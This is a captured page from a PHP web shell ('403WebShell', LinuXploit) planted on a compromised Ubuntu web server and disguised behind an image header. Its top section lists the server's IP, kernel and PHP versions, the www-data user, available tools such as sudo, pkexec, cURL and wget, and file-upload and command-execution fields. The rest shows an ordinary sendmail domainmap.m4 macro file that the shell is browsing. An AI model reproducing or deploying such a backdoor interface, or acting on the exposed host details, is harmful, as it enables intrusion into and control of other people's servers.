????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.0
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/sendmail/cf/feature/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/sendmail/cf/feature/domainmap.m4
divert(-1)changequote(<<, >>)<<
-----------------------------------------------------------------------------

                     FEATURE(domainmap) Macro
                                       
   The existing virtusertable feature distributed with sendmail is a good
   basic approach to virtual hosting, but it is missing a few key
   features:

    1. Ability to have a different map for each domain.
    2. Ability to perform virtual hosting for domains which are not in $=w.
    3. Ability to use a centralized network-accessible database (such as
       PH) which is keyed on username alone (as opposed to the
       fully-qualified email address).

   The FEATURE(domainmap) macro neatly solves these problems.
   
   The basic syntax of the macro is:
        FEATURE(domainmap, `domain.com', `map definition ...')dnl

   To illustrate how it works, here is an example:
        FEATURE(domainmap, `foo.com', `dbm -o /etc/mail/foo-users')dnl

   In this example, mail sent to user@foo.com will be rewritten by the
   domainmap. The username will be looked up in the DBM map
   /etc/mail/foo-users, which looks like this:
        jsmith  johnsmith@mailbox.foo.com
        jdoe    janedoe@sandbox.bar.com

   So mail sent to jsmith@foo.com will be relayed to
   johnsmith@mailbox.foo.com, and mail sent to jdoe@foo.com will be
   relayed to janedoe@sandbox.bar.com.
   
   The FEATURE(domainmap) Macro supports the user+detail syntax by
   stripping off the +detail portion before the domainmap lookup and
   tacking it back on to the result. Using the example above, mail sent
   to jsmith+sometext@foo.com will be rewritten as
   johnsmith+sometext@mailbox.foo.com.
   
   If one of the elements in the $=w class (i.e., "local" delivery hosts)
   is a domain specified in a FEATURE(domainmap) entry, you need to use
   the LOCAL_USER(username) macro to specify the list of users for whom
   domainmap lookups should not be done.

   To use this macro, simply copy this file into the cf/feature directory
   in the sendmail source tree.  For more information, please see the
   following URL:

      http://www-dev.cites.uiuc.edu/sendmail/domainmap/

   Feedback is welcome.

                                             Mark D. Roth <roth@uiuc.edu>

-----------------------------------------------------------------------------
>>changequote(`, ')undivert(-1)divert

ifdef(`_DOMAIN_MAP_',`',`dnl
LOCAL_RULE_0
# do mapping for domains where applicable
R$* $=O $* <@ $={MappedDomain} .>	$@ $>Recurse $1 $2 $3	Strip extraneous routing
R$+ <@ $={MappedDomain} .>		$>DomainMapLookup $1 <@ $2 .>	domain mapping

LOCAL_RULESETS
###########################################################################
###   Ruleset DomainMapLookup -- special rewriting for mapped domains   ###
###########################################################################

SDomainMapLookup
R $=L <@ $=w .>		$@ $1 <@ $2 .>		weed out local users, in case
#						Cw contains a mapped domain
R $+ <@ $+>		$: $1 <@ $2 > <$&{addr_type}>	check if sender
R $+ <@ $+> <e s>	$#smtp $@ $2 $: $1 @ $2		do not process sender
ifdef(`DOMAINMAP_NO_REGEX',`dnl
R $+ <@ $+> <$*>	$: $1 <@ $2> <$2>	find domain
R $+ <$+> <$+ . $+>	$1 <$2> < $(dequote $3 "_" $4 $) >
#						change "." to "_"
R $+ <$+> <$+ .>	$: $1 <$2> < $(dequote "domain_" $3 $) >
#						prepend "domain_"
dnl',`dnl
R $+ <@ $+> <$*>	$: $1 <@ $2> <$2 :NOTDONE:>	find domain
R $+ <$+> <$+ . :NOTDONE:>	$1 <$2> < $(domainmap_regex $3 $: $3 $) >
#						change "." and "-" to "_"
R $+ <$+> <$+>		$: $1 <$2> < $(dequote "domain_" $3 $) >
#						prepend "domain_"
dnl')
R $+ <$+> <$+>		$: $1 <$2> <$3> $1	find user name
R $+ <$+> <$+> $+ + $*	$: $1 <$2> <$3> $4	handle user+detail syntax
R $+ <$+> <$+> $+	$: $1 <$2> $( $3 $4 $: <ERROR> $)
#						do actual domain map lookup
R $+ <$+> <ERROR>	$#error $@ 5.1.1 $: "550 email address lookup in domain map failed"
R $+ <@ $+> $* <TEMP> $*	$#dsmtp $@ localhost $: $1 @ $2
#						queue it up for later delivery
R $+ + $* <$+> $+ @ $+		$: $1 + $2 <$3> $4 + $2 @ $5
#						reset original user+detail
R $+ <$+> $+		$@ $>Recurse $3		recanonify

ifdef(`DOMAINMAP_NO_REGEX',`',`dnl
LOCAL_CONFIG
K domainmap_regex regex -a.:NOTDONE: -s1,2 -d_ (.*)[-\.]([^-\.]*)$
')define(`_DOMAIN_MAP_',`1')')

LOCAL_CONFIG
C{MappedDomain} _ARG_
K `domain_'translit(_ARG_, `.-', `__') _ARG2_ -T<TEMP>

Youez - 2016 - github.com/yon3zu
LinuXploit